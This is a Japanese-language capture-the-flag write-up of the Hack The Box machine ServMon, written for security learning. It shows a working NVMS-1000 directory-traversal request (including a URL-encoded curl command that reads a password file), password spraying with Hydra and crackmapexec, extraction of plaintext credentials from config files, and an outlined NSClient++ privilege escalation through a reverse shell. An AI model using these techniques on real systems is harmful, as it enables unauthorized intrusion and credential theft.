HTB: ServMon Writeup

Hack The Box: ServMonのwriteup。

標的IPアドレスをブラウザで表示したところ、NVMS-1000 (ネットワークビデオ監視ツール)の管理画面へのログインページが現れた。

http://10.129.227.77/Pages/login.htm

以下は、nmapのスキャン結果。

└─$ nmap -Pn -A $RHOST -oG general-portscan.txt
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-29 07:53 EST
Nmap scan report for 10.129.227.77
Host is up (0.42s latency).
Not shown: 980 closed tcp ports (conn-refused)
PORT      STATE    SERVICE        VERSION
21/tcp    open     ftp            Microsoft ftpd
| ftp-syst: 
|_  SYST: Windows_NT
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_02-28-22  06:35PM       <DIR>          Users
22/tcp    open     ssh            OpenSSH for_Windows_8.0 (protocol 2.0)
| ssh-hostkey: 
|   3072 c7:1a:f6:81:ca:17:78:d0:27:db:cd:46:2a:09:2b:54 (RSA)
|   256 3e:63:ef:3b:6e:3e:4a:90:f3:4c:02:e9:40:67:2e:42 (ECDSA)
|_  256 5a:48:c8:cd:39:78:21:29:ef:fb:ae:82:1d:03:ad:af (ED25519)
80/tcp    open     http
|_http-title: Site doesn't have a title (text/html).
| fingerprint-strings: 
|   GetRequest, HTTPOptions, RTSPRequest: 
|     HTTP/1.1 200 OK
|     Content-type: text/html
|     Content-Length: 340
|     Connection: close
|     AuthInfo: 
|     <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
|     <html xmlns="http://www.w3.org/1999/xhtml">
|     <head>
|     <title></title>
|     <script type="text/javascript">
|     window.location.href = "Pages/login.htm";
|     </script>
|     </head>
|     <body>
|     </body>
|     </html>
|   NULL: 
|     HTTP/1.1 408 Request Timeout
|     Content-type: text/html
|     Content-Length: 0
|     Connection: close
|_    AuthInfo:
81/tcp    filtered hosts2-ns
135/tcp   open     msrpc          Microsoft Windows RPC
139/tcp   open     netbios-ssn    Microsoft Windows netbios-ssn
445/tcp   open     microsoft-ds?
1234/tcp  filtered hotline
3006/tcp  filtered deslogind
4443/tcp  filtered pharos
5051/tcp  filtered ida-agent
5666/tcp  open     tcpwrapped
6007/tcp  filtered X11:7
6699/tcp  open     napster?
7512/tcp  filtered unknown
7777/tcp  filtered cbt
8443/tcp  open     ssl/https-alt
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2020-01-14T13:24:20
|_Not valid after:  2021-01-13T13:24:20
|_ssl-date: TLS randomness does not represent time
| fingerprint-strings: 
|   FourOhFourRequest, HTTPOptions, RTSPRequest, SIPOptions: 
|     HTTP/1.1 404
|     Content-Length: 18
|     Document not found
|   GetRequest: 
|     HTTP/1.1 302
|     Content-Length: 0
|     Location: /index.html
|     iday
|     :Saturday
|     workers
|_    jobs
| http-title: NSClient++
|_Requested resource was /index.html
9091/tcp  filtered xmltec-xmlmail
9618/tcp  filtered condor
32769/tcp filtered filenet-rpc
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port80-TCP:V=7.94SVN%I=7%D=12/29%Time=677147E4%P=x86_64-pc-linux-gnu%r(
SF:NULL,6B,"HTTP/1\.1\x20408\x20Request\x20Timeout\r\nContent-type:\x20tex
SF:t/html\r\nContent-Length:\x200\r\nConnection:\x20close\r\nAuthInfo:\x20
SF:\r\n\r\n")%r(GetRequest,1B4,"HTTP/1\.1\x20200\x20OK\r\nContent-type:\x2
SF:0text/html\r\nContent-Length:\x20340\r\nConnection:\x20close\r\nAuthInf
SF:o:\x20\r\n\r\n\xef\xbb\xbf<!DOCTYPE\x20html\x20PUBLIC\x20\"-//W3C//DTD\
SF:x20XHTML\x201\.0\x20Transitional//EN\"\x20\"http://www\.w3\.org/TR/xhtm
SF:l1/DTD/xhtml1-transitional\.dtd\">\r\n\r\n<html\x20xmlns=\"http://www\.
SF:w3\.org/1999/xhtml\">\r\n<head>\r\n\x20\x20\x20\x20<title></title>\r\n\
SF:x20\x20\x20\x20<script\x20type=\"text/javascript\">\r\n\x20\x20\x20\x20
SF:\x20\x20\x20\x20window\.location\.href\x20=\x20\"Pages/login\.htm\";\r\
SF:n\x20\x20\x20\x20</script>\r\n</head>\r\n<body>\r\n</body>\r\n</html>\r
SF:\n")%r(HTTPOptions,1B4,"HTTP/1\.1\x20200\x20OK\r\nContent-type:\x20text
SF:/html\r\nContent-Length:\x20340\r\nConnection:\x20close\r\nAuthInfo:\x2
SF:0\r\n\r\n\xef\xbb\xbf<!DOCTYPE\x20html\x20PUBLIC\x20\"-//W3C//DTD\x20XH
SF:TML\x201\.0\x20Transitional//EN\"\x20\"http://www\.w3\.org/TR/xhtml1/DT
SF:D/xhtml1-transitional\.dtd\">\r\n\r\n<html\x20xmlns=\"http://www\.w3\.o
SF:rg/1999/xhtml\">\r\n<head>\r\n\x20\x20\x20\x20<title></title>\r\n\x20\x
SF:20\x20\x20<script\x20type=\"text/javascript\">\r\n\x20\x20\x20\x20\x20\
SF:x20\x20\x20window\.location\.href\x20=\x20\"Pages/login\.htm\";\r\n\x20
SF:\x20\x20\x20</script>\r\n</head>\r\n<body>\r\n</body>\r\n</html>\r\n")%
SF:r(RTSPRequest,1B4,"HTTP/1\.1\x20200\x20OK\r\nContent-type:\x20text/html
SF:\r\nContent-Length:\x20340\r\nConnection:\x20close\r\nAuthInfo:\x20\r\n
SF:\r\n\xef\xbb\xbf<!DOCTYPE\x20html\x20PUBLIC\x20\"-//W3C//DTD\x20XHTML\x
SF:201\.0\x20Transitional//EN\"\x20\"http://www\.w3\.org/TR/xhtml1/DTD/xht
SF:ml1-transitional\.dtd\">\r\n\r\n<html\x20xmlns=\"http://www\.w3\.org/19
SF:99/xhtml\">\r\n<head>\r\n\x20\x20\x20\x20<title></title>\r\n\x20\x20\x2
SF:0\x20<script\x20type=\"text/javascript\">\r\n\x20\x20\x20\x20\x20\x20\x
SF:20\x20window\.location\.href\x20=\x20\"Pages/login\.htm\";\r\n\x20\x20\
SF:x20\x20</script>\r\n</head>\r\n<body>\r\n</body>\r\n</html>\r\n");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port8443-TCP:V=7.94SVN%T=SSL%I=7%D=12/29%Time=677147F1%P=x86_64-pc-linu
SF:x-gnu%r(GetRequest,74,"HTTP/1\.1\x20302\r\nContent-Length:\x200\r\nLoca
SF:tion:\x20/index\.html\r\n\r\n\0\0\0\0\0\0\0\0\0\0iday\0\0\0\0:Saturday\
SF:0\0\x12\x02\x18\0\x1aC\n\x07workers\x12\n\n\x04jobs\x12\x02\x18@\x12\x0
SF:f")%r(HTTPOptions,36,"HTTP/1\.1\x20404\r\nContent-Length:\x2018\r\n\r\n
SF:Document\x20not\x20found")%r(FourOhFourRequest,36,"HTTP/1\.1\x20404\r\n
SF:Content-Length:\x2018\r\n\r\nDocument\x20not\x20found")%r(RTSPRequest,3
SF:6,"HTTP/1\.1\x20404\r\nContent-Length:\x2018\r\n\r\nDocument\x20not\x20
SF:found")%r(SIPOptions,36,"HTTP/1\.1\x20404\r\nContent-Length:\x2018\r\n\
SF:r\nDocument\x20not\x20found");
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2024-12-29T13:02:45
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 578.85 seconds

80番ポート以外にも、いくつか興味深いポートが開いていた。

スキャン結果より、どうやら21番ポート (FTP)にanonymous:anonymousとして接続できる模様。さっそく接続してみた。

└─$ ftp $RHOST                
Connected to 10.129.227.77.
220 Microsoft FTP Service
Name (10.129.227.77:kali): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password: 
230 User logged in.
Remote system type is Windows_NT.
ftp> ls
229 Entering Extended Passive Mode (|||49678|)
150 Opening ASCII mode data connection.
02-28-22  06:35PM       <DIR>          Users
226 Transfer complete.
ftp> cd Users
250 CWD command successful.
ftp> ls
229 Entering Extended Passive Mode (|||49679|)
125 Data connection already open; Transfer starting.
02-28-22  06:36PM       <DIR>          Nadine
02-28-22  06:37PM       <DIR>          Nathan
226 Transfer complete.

Usersフォルダの中にNadineNathanというフォルダを発見。

Nadineフォルダの中にConfidential.txtというファイルがあったので、ダウンロード。

ftp> cd Nadine
250 CWD command successful.
ftp> ls
229 Entering Extended Passive Mode (|||49680|)
150 Opening ASCII mode data connection.
02-28-22  06:36PM                  168 Confidential.txt
226 Transfer complete.
ftp> type Confidential.txt
Confidential.txt: unknown mode.
ftp> get Confidential.txt
local: Confidential.txt remote: Confidential.txt
229 Entering Extended Passive Mode (|||49681|)
125 Data connection already open; Transfer starting.
100% |**********************************************************************************************************************************************************************|   168        0.21 KiB/s    00:00 ETA
226 Transfer complete.
WARNING! 6 bare linefeeds received in ASCII mode.
File may not have transferred correctly.
168 bytes received in 00:01 (0.16 KiB/s)

Nathanフォルダの中にはNotes to do.txtというファイルがあり、こちらもダウンロード。

ftp> cd ../Nathan
250 CWD command successful.
ftp> ls
229 Entering Extended Passive Mode (|||49682|)
125 Data connection already open; Transfer starting.
02-28-22  06:36PM                  182 Notes to do.txt
226 Transfer complete.
ftp> get "Notes to do.txt"
local: Notes to do.txt remote: Notes to do.txt
229 Entering Extended Passive Mode (|||49683|)
125 Data connection already open; Transfer starting.
100% |**********************************************************************************************************************************************************************|   182        0.36 KiB/s    00:00 ETA
226 Transfer complete.
WARNING! 4 bare linefeeds received in ASCII mode.
File may not have transferred correctly.
182 bytes received in 00:00 (0.24 KiB/s)

以下はConfidential.txtの内容。

└─$ cat Confidential.txt           
Nathan,

I left your Passwords.txt file on your Desktop.  Please remove this once you have edited it yourself and place it back into the secure folder.

Regards

Nadine  

以下はNotes to do.txtの内容。

└─$ cat 'Notes to do.txt'                          
1) Change the password for NVMS - Complete
2) Lock down the NSClient Access - Complete
3) Upload the passwords
4) Remove public access to NVMS
5) Place the secret files in SharePoint

Confidential.txtによると、パスワードが記載されたPasswords.txtというファイルがユーザーNathanのデスクトップに配置されているらしい。

このファイルにアクセスするには、先述したNVMS-1000の脆弱性を利用する。

NVMS-1000にはディレクトリトラバーサルの脆弱性があり、PoCも公開されている。

PoCはsearchsploitで確認できる。

└─$ searchsploit NVMS                    
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                                                                                   |  Path
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
NVMS 1000 - Directory Traversal                                                                                                                                                  | hardware/webapps/47774.txt
OpenVms 5.3/6.2/7.x - UCX POP Server Arbitrary File Modification                                                                                                                 | multiple/local/21856.txt
OpenVms 8.3 Finger Service - Stack Buffer Overflow                                                                                                                               | multiple/dos/32193.txt
TVT NVMS 1000 - Directory Traversal                                                                                                                                              | hardware/webapps/48311.py
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

└─$ searchsploit -m hardware/webapps/47774.txt
  Exploit: NVMS 1000 - Directory Traversal
      URL: https://www.exploit-db.com/exploits/47774
     Path: /usr/share/exploitdb/exploits/hardware/webapps/47774.txt
    Codes: N/A
 Verified: False
File Type: Unicode text, UTF-8 text
Copied to: /home/kali/HTB/Dedicated-Labs/owasp10-windows/ServMon/47774.txt

└─$ cat 47774.txt        
# Title: NVMS-1000 - Directory Traversal
# Date: 2019-12-12
# Author: Numan Türle
# Vendor Homepage: http://en.tvt.net.cn/
# Version : N/A
# Software Link : http://en.tvt.net.cn/products/188.html

POC
---------

GET /../../../../../../../../../../../../windows/win.ini HTTP/1.1
Host: 12.0.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

Response
---------

; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1   

以下のcurlコマンドでC:\Users\Nathan\Desktop\Passwords.txtにアクセスできた。

curl -i "http://$RHOST/%20%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2FUsers%2FNathan%2FDesktop%2FPasswords%2Etxt"

## URL decodes to:
http://$RHOST/ ../../../../../../../../../../../../Users/Nathan/Desktop/Passwords.txt
└─$ curl -i "http://$RHOST/%20%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2FUsers%2FNathan%2FDesktop%2FPasswords%2Etxt"
HTTP/1.1 200 OK
Content-type: text/plain
Content-Length: 156
Connection: close
AuthInfo: 

1nsp3ctTh3Way2Mars!
Th3r34r3To0M4nyTrait0r5!
B3WithM30r4ga1n5tMe
L1k3B1gBut7s@W0rk
0nly7h3y0unGWi11F0l10w
IfH3s4b0Utg0t0H1sH0me
Gr4etN3w5w17hMySk1Pa5$ 

パスワードを複数発見。

nmapのスキャン結果より、22番ポート (SSH)と445番ポート (SMB)が開いていたので、入手したユーザー名とパスワードを総当たりして、SSHもしくはSMBを介してログインできるか試してみた。

└─$ cat users.txt                                                             
Nathan
Nadine

└─$ cat pass.txt 
1nsp3ctTh3Way2Mars!
Th3r34r3To0M4nyTrait0r5!
B3WithM30r4ga1n5tMe
L1k3B1gBut7s@W0rk
0nly7h3y0unGWi11F0l10w
IfH3s4b0Utg0t0H1sH0me
Gr4etN3w5w17hMySk1Pa5$
└─$ hydra -L users.txt -P pass.txt ssh://$RHOST -V -f
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-12-29 08:36:10
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 14 tasks per 1 server, overall 14 tasks, 14 login tries (l:2/p:7), ~1 try per task
[DATA] attacking ssh://10.129.227.77:22/
[ATTEMPT] target 10.129.227.77 - login "Nathan" - pass "1nsp3ctTh3Way2Mars!" - 1 of 14 [child 0] (0/0)
[ATTEMPT] target 10.129.227.77 - login "Nathan" - pass "Th3r34r3To0M4nyTrait0r5!" - 2 of 14 [child 1] (0/0)
[ATTEMPT] target 10.129.227.77 - login "Nathan" - pass "B3WithM30r4ga1n5tMe" - 3 of 14 [child 2] (0/0)
[ATTEMPT] target 10.129.227.77 - login "Nathan" - pass "L1k3B1gBut7s@W0rk" - 4 of 14 [child 3] (0/0)
[ATTEMPT] target 10.129.227.77 - login "Nathan" - pass "0nly7h3y0unGWi11F0l10w" - 5 of 14 [child 4] (0/0)
[ATTEMPT] target 10.129.227.77 - login "Nathan" - pass "IfH3s4b0Utg0t0H1sH0me" - 6 of 14 [child 5] (0/0)
[ATTEMPT] target 10.129.227.77 - login "Nathan" - pass "Gr4etN3w5w17hMySk1Pa5$" - 7 of 14 [child 6] (0/0)
[ATTEMPT] target 10.129.227.77 - login "Nadine" - pass "1nsp3ctTh3Way2Mars!" - 8 of 14 [child 7] (0/0)
[ATTEMPT] target 10.129.227.77 - login "Nadine" - pass "Th3r34r3To0M4nyTrait0r5!" - 9 of 14 [child 8] (0/0)
[ATTEMPT] target 10.129.227.77 - login "Nadine" - pass "B3WithM30r4ga1n5tMe" - 10 of 14 [child 9] (0/0)
[ATTEMPT] target 10.129.227.77 - login "Nadine" - pass "L1k3B1gBut7s@W0rk" - 11 of 14 [child 10] (0/0)
[ATTEMPT] target 10.129.227.77 - login "Nadine" - pass "0nly7h3y0unGWi11F0l10w" - 12 of 14 [child 11] (0/0)
[ATTEMPT] target 10.129.227.77 - login "Nadine" - pass "IfH3s4b0Utg0t0H1sH0me" - 13 of 14 [child 12] (0/0)
[ATTEMPT] target 10.129.227.77 - login "Nadine" - pass "Gr4etN3w5w17hMySk1Pa5$" - 14 of 14 [child 13] (0/0)
[REDO-ATTEMPT] target 10.129.227.77 - login "Nathan" - pass "Gr4etN3w5w17hMySk1Pa5$" - 15 of 15 [child 12] (1/1)
[22][ssh] host: 10.129.227.77   login: Nadine   password: L1k3B1gBut7s@W0rk
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-12-29 08:36:18
└─$ crackmapexec smb $RHOST -u 'users.txt' -p 'pass.txt' --continue-on-success
SMB         10.129.227.77   445    SERVMON          [*] Windows 10 / Server 2019 Build 17763 x64 (name:SERVMON) (domain:ServMon) (signing:False) (SMBv1:False)
SMB         10.129.227.77   445    SERVMON          [-] ServMon\Nathan:1nsp3ctTh3Way2Mars! STATUS_LOGON_FAILURE 
SMB         10.129.227.77   445    SERVMON          [-] ServMon\Nathan:Th3r34r3To0M4nyTrait0r5! STATUS_LOGON_FAILURE 
SMB         10.129.227.77   445    SERVMON          [-] ServMon\Nathan:B3WithM30r4ga1n5tMe STATUS_LOGON_FAILURE 
SMB         10.129.227.77   445    SERVMON          [-] ServMon\Nathan:L1k3B1gBut7s@W0rk STATUS_LOGON_FAILURE 
SMB         10.129.227.77   445    SERVMON          [-] ServMon\Nathan:0nly7h3y0unGWi11F0l10w STATUS_LOGON_FAILURE 
SMB         10.129.227.77   445    SERVMON          [-] ServMon\Nathan:IfH3s4b0Utg0t0H1sH0me STATUS_LOGON_FAILURE 
SMB         10.129.227.77   445    SERVMON          [-] ServMon\Nathan:Gr4etN3w5w17hMySk1Pa5$ STATUS_LOGON_FAILURE 
SMB         10.129.227.77   445    SERVMON          [-] ServMon\Nadine:1nsp3ctTh3Way2Mars! STATUS_LOGON_FAILURE 
SMB         10.129.227.77   445    SERVMON          [-] ServMon\Nadine:Th3r34r3To0M4nyTrait0r5! STATUS_LOGON_FAILURE 
SMB         10.129.227.77   445    SERVMON          [-] ServMon\Nadine:B3WithM30r4ga1n5tMe STATUS_LOGON_FAILURE 
SMB         10.129.227.77   445    SERVMON          [+] ServMon\Nadine:L1k3B1gBut7s@W0rk 
SMB         10.129.227.77   445    SERVMON          [-] ServMon\Nadine:0nly7h3y0unGWi11F0l10w STATUS_LOGON_FAILURE 
SMB         10.129.227.77   445    SERVMON          [-] ServMon\Nadine:IfH3s4b0Utg0t0H1sH0me STATUS_LOGON_FAILURE 
SMB         10.129.227.77   445    SERVMON          [-] ServMon\Nadine:Gr4etN3w5w17hMySk1Pa5$ STATUS_LOGON_FAILURE

結果、Nadine:L1k3B1gBut7s@W0rkの組み合わせで、SSHとSMBの両方を介して標的マシンにアクセスできることが分かった。

標的マシンにSSHで接続し、一般ユーザーのフラグC:\Users\Nadine\Desktop\user.txtを発見した。

ssh Nadine@$RHOST

Microsoft Windows [Version 10.0.17763.864]
(c) 2018 Microsoft Corporation. All rights reserved.

nadine@SERVMON C:\Users\Nadine>whoami
servmon\nadine

nadine@SERVMON C:\Users\Nadine>cd Desktop                    

nadine@SERVMON C:\Users\Nadine\Desktop>dir 
 Volume in drive C has no label.                   
 Volume Serial Number is 20C1-47A1                 
                                                   
 Directory of C:\Users\Nadine\Desktop              
                                                   
02/28/2022  07:05 PM    <DIR>          .           
02/28/2022  07:05 PM    <DIR>          ..          
12/29/2024  04:53 AM                34 user.txt    
               1 File(s)             34 bytes      
               2 Dir(s)   6,123,347,968 bytes free 

一般ユーザーのフラグを入手するところまでは、すんなり行けたのだが、権限昇格に手間取ってしまった。以下、試行錯誤した内容とともに記す。

まず、一通り標的マシンを列挙してみたが、権限昇格への突破口は見つからなかった。(ただし、権限の問題でWindowsサービスの列挙はできなかった。)

なので、アプリケーションの設定ファイル等から、認証情報を窃取する方向へと切り替えてみた。

まずはNVMS-1000のインストール先がどこかを確認。

PS C:\Windows> Get-ChildItem -Path C:\ -Include *nvms* -File -Recurse -ErrorAction SilentlyContinue


    Directory: C:\Program Files\NVMS-1000


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----         4/1/2017   4:10 PM       14126080 NVMS-1000.exe
-a----        11/1/2016   5:12 PM          17542 NVMS-1000.ico

どうやらC:\Program Files\NVMS-1000にNVMS-1000の関連ファイルがある模様。

以下はC:\Program Files\NVMS-1000の内容。

nadine@SERVMON C:\ProgramData\NVMS-1000>dir /a 
 Volume in drive C has no label. 
 Volume Serial Number is 20C1-47A1

 Directory of C:\ProgramData\NVMS-1000

02/28/2022  06:46 PM    <DIR>          .
02/28/2022  06:46 PM    <DIR>          ..
09/06/2016  02:37 PM             2,048 AbnormalLog.db3
02/27/2022  04:07 AM             3,608 AppBasicCfg.ini
09/06/2016  02:43 PM                22 Config.ini
01/18/2020  10:34 AM            11,675 NVMS-1000.ini
02/27/2022  04:03 AM             6,144 SysLog.db3
02/27/2022  04:03 AM                 0 SysLog.db3-journal
01/18/2020  10:34 AM            70,656 SystemDb.db3
01/18/2020  10:34 AM                 0 SystemDb.db3-journal
09/06/2016  02:37 PM            22,528 SystemDb_ForEmap.db3
02/28/2022  06:46 PM    <DIR>          TemMapFile
               9 File(s)        116,681 bytes
               3 Dir(s)   6,101,032,960 bytes free

C:\Program Files\NVMS-1000の内容物をローカルにダウンロードして、ひとつずつ確認してみることにした。ダウンロードにはscpを利用。

└─$ scp -r Nadine@$RHOST:/c:/programdata/nvms-1000/ $(pwd)
Nadine@10.129.227.77's password: 
AbnormalLog.db3                                                                                                                                                                  100% 2048     2.0KB/s   00:01    
AppBasicCfg.ini                                                                                                                                                                  100% 3608     4.4KB/s   00:00    
Config.ini                                                                                                                                                                       100%   22     0.0KB/s   00:00    
NVMS-1000.ini                                                                                                                                                                    100%   11KB  11.4KB/s   00:01    
SysLog.db3                                                                                                                                                                       100% 6144     6.0KB/s   00:01    
SystemDb.db3                                                                                                                                                                     100%   69KB  34.8KB/s   00:01    
SystemDb_ForEmap.db3                                                                                                                                                             100%   22KB  22.0KB/s   00:01

結果、SQLiteのデータベースファイルSystemDb.db3T_RES_USER_INFOテーブルの中から、Danielというユーザー名と2x6SsGTxjRwXOTというパスワードを発見した。

└─$ sqlite3 SystemDb.db3
SQLite version 3.46.0 2024-05-23 13:25:27
Enter ".help" for usage hints.
sqlite> .headers on
sqlite> .tables
T_BR_LOGIC                        T_RES_IP_CHANNEL_INFO           
T_BR_PHYSICS                      T_RES_SCHEDULE_TIME_SECTION_INFO
T_BR_PHYSICS_REC_SCHEDULE         T_RES_SCHEDULT_INFO             
T_RES_ALARM_IN_INFO               T_RES_SERVER_INFO               
T_RES_ALARM_OUT_INFO              T_RES_STORAGE_MEDIA_GROUP_INFO  
T_RES_ALARM_TRIGGER_INFO          T_RES_USER_INFO                 
T_RES_AREA_INFO                   T_RES_USER_RIGHT_INFO           
T_RES_CHANNEL_INFO                T_TR_PHYSICS                    
T_RES_DEVICE_INFO                 T_VERSION_INFO                  
sqlite> select * from T_RES_USER_INFO;
Node_ID|Node_Name|Node_PWD|Node_UserLevel|Node_Type|Node_LimitedMAC|Node_EMail|Node_TEL|Node_Description|Node_IsLimitedMAC|Node_EnableRight|Node_Locked|Node_PRI|Node_MUX|Node_ID_UserGroup
{E639A5EE-34B5-4CE7-A451-00C7DDB6E73D}|Daniel|2x6SsGTxjRwXOT|4|1|00:00:00:00:00:00||||0|0|0|0|0|{00000000-0000-0000-0000-000000000000}

Daniel:2x6SsGTxjRwXOTで、NVMS-1000の管理ページhttp://10.129.227.77/Pages/login.htmへログインすることが出来たが、こちらから権限昇格することはできなかった。

また、Daniel:2x6SsGTxjRwXOTでは標的マシンへSSHおよびSMB接続することはできなかった。

改めてnmapのスキャン結果を眺めてみたところ、5666番ポートが目についた。

5666/tcp  open     tcpwrapped

ググってみると、どうやらNagios (PC・ネットワーク監視アプリケーション)関連のポートらしい。さらに検索を続けると、NSClient++ (Nagiosのクライアントのようなもの)と関連が深いらしいことが分かった。
(あと、記事を書いているときに気づいたのだが、先述したNotes to do.txtの中に2) Lock down the NSClient Access - Completeというヒントがあった。)

NSClient++がインストールされているか確認してみたところ、C:\Program Files\NSClient++というディレクトリを発見した。以下はディレクトリの内容。

nadine@SERVMON C:\Program Files\NSClient++>dir 
 Volume in drive C has no label.
 Volume Serial Number is 20C1-47A1

 Directory of C:\Program Files\NSClient++

02/28/2022  06:55 PM    <DIR>          .
02/28/2022  06:55 PM    <DIR>          ..
12/09/2015  12:17 AM            28,672 boost_chrono-vc110-mt-1_58.dll
12/09/2015  12:17 AM            50,688 boost_date_time-vc110-mt-1_58.dll
12/09/2015  12:17 AM           117,760 boost_filesystem-vc110-mt-1_58.dll
12/09/2015  12:22 AM           439,296 boost_program_options-vc110-mt-1_58.dll
12/09/2015  12:23 AM           256,000 boost_python-vc110-mt-1_58.dll
12/09/2015  12:17 AM           765,952 boost_regex-vc110-mt-1_58.dll
12/09/2015  12:16 AM            19,456 boost_system-vc110-mt-1_58.dll
12/09/2015  12:18 AM           102,400 boost_thread-vc110-mt-1_58.dll
01/14/2020  01:24 PM                51 boot.ini
01/18/2018  03:51 PM           157,453 changelog.txt
01/28/2018  10:33 PM         1,210,392 check_nrpe.exe
12/31/2024  05:28 AM    <DIR>          crash-dumps 
11/05/2017  09:09 PM           318,464 Google.ProtocolBuffers.dll
12/08/2015  11:16 PM         1,655,808 libeay32.dll
11/05/2017  10:04 PM            18,351 license.txt
10/05/2017  06:19 AM           203,264 lua.dll
02/28/2022  06:55 PM    <DIR>          modules
04/10/2020  05:32 PM             2,683 nsclient.ini
12/31/2024  05:28 AM            40,563 nsclient.log
11/05/2017  09:42 PM            55,808 NSCP.Core.dll
01/28/2018  10:32 PM         4,765,208 nscp.exe
11/05/2017  09:42 PM           483,328 NSCP.Protobuf.dll
11/19/2017  04:18 PM           534,016 nscp_json_pb.dll
11/19/2017  03:55 PM         2,090,496 nscp_lua_pb.dll
01/23/2018  08:57 PM           507,904 nscp_mongoose.dll
11/19/2017  03:49 PM         2,658,304 nscp_protobuf.dll
11/05/2017  10:04 PM             3,921 old-settings.map
01/28/2018  10:21 PM         1,973,760 plugin_api.dll
05/23/2015  07:44 AM         3,017,216 python27.dll
09/27/2015  02:42 PM        28,923,515 python27.zip
01/28/2018  10:34 PM           384,536 reporter.exe
02/28/2022  06:55 PM    <DIR>          scripts
02/28/2022  06:55 PM    <DIR>          security
12/08/2015  11:16 PM           348,160 ssleay32.dll
05/23/2015  07:44 AM           689,664 unicodedata.pyd
02/28/2022  06:55 PM    <DIR>          web
11/05/2017  09:20 PM         1,273,856 where_filter.dll
05/23/2015  07:44 AM            47,616 _socket.pyd
              33 File(s)     53,144,561 bytes
               7 Dir(s)   6,117,613,568 bytes free

上記のファイル群のうち、nsclient.iniよりew2x6SsGTxjRwXOTというパスワードを発見した。

PS C:\Program Files\NSClient++> type nsclient.ini
# If you want to fill this file with all available options run the following command: 
#   nscp settings --generate --add-defaults --load-all
# If you want to activate a module and bring in all its options use:
#   nscp settings --activate-module <MODULE NAME> --add-defaults
# For details run: nscp settings --help


; in flight - TODO
[/settings/default]

; Undocumented key
password = ew2x6SsGTxjRwXOT

; Undocumented key
allowed hosts = 127.0.0.1


; in flight - TODO
[/settings/NRPE/server]

-- snipped --

また、crash-dumpsフォルダの中のテキストファイルより、NSClient++のバージョンは0.5.2.35と判明した。

PS C:\Program Files\NSClient++\crash-dumps> type 1e36f3e8-b2d6-49b5-82d5-8cdb923a536b.dmp.txt
application=NSClient++
build-version=0.5.2.35
build-date=2018-01-28

当バージョンには権限昇格の脆弱性遠隔コード実行の脆弱性があるらしい。

権限昇格の脆弱性を試すことにした。

脆弱性の内容だが、NSClient++のWebサーバー機能が有効化されていた場合、一般ユーザーでも設定ファイル (nsclient.ini)から管理者ユーザーの平文パスワードを入手可能で、入手したパスワードで管理者としてNSClient++の管理ページにログインして、各種設定を変更できるというもの。

攻撃の手順は以下の通り。

  1. リバースシェルを標的マシンに仕込む。
  2. 仕込んだリバースシェルを呼び出すためのバッチファイルを作成し、標的マシンにアップロードする。
  3. NSClient++の管理ページにログインし、バッチファイルを実行するスケジュールを作成。
  4. スケジュールが実行されると、標的マシンとのシェルが成立する。

nmapのスキャン結果より、NSClient++の管理ページは8443番ポートにホストされていることが分かった。

8443/tcp  open     ssl/https-alt
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2020-01-14T13:24:20
|_Not valid after:  2021-01-13T13:24:20
|_ssl-date: TLS randomness does not represent time
| fingerprint-strings: 
|   FourOhFourRequest, HTTPOptions, RTSPRequest, SIPOptions: 
|     HTTP/1.1 404
|     Content-Length: 18
|     Document not found
|   GetRequest: 
|     HTTP/1.1 302
|     Content-Length: 0
|     Location: /index.html
|     iday
|     :Saturday
|     workers
|_    jobs
| http-title: NSClient++
|_Requested resource was /index.html

が、管理ページ https://10.129.227.77:8443/index.htmlにアクセスはできたものの、ページ内のタブ等をクリックしても、ページがきちんと表示されなかった。

HTB側のインフラの問題かと思いフォーラムを覗いてみたところ、これは仕様とのことで、チャレンジの一環らしい。

もう一度nsclient.iniを確認してみたところ、以下の設定が目についた。

; Undocumented key
allowed hosts = 127.0.0.1

恐らくだが、上記の設定は標的マシンのループバックアドレス127.0.0.1の8443番ポートにアクセスした場合のみ、NSClient++の管理ページへのアクセスを許可する、というものだと思われる。なので、外部向けのIP 10.129.227.77 の8443番ポートにアクセスしてもダメなのだろう。

このような場合はポート転送で解決できる。

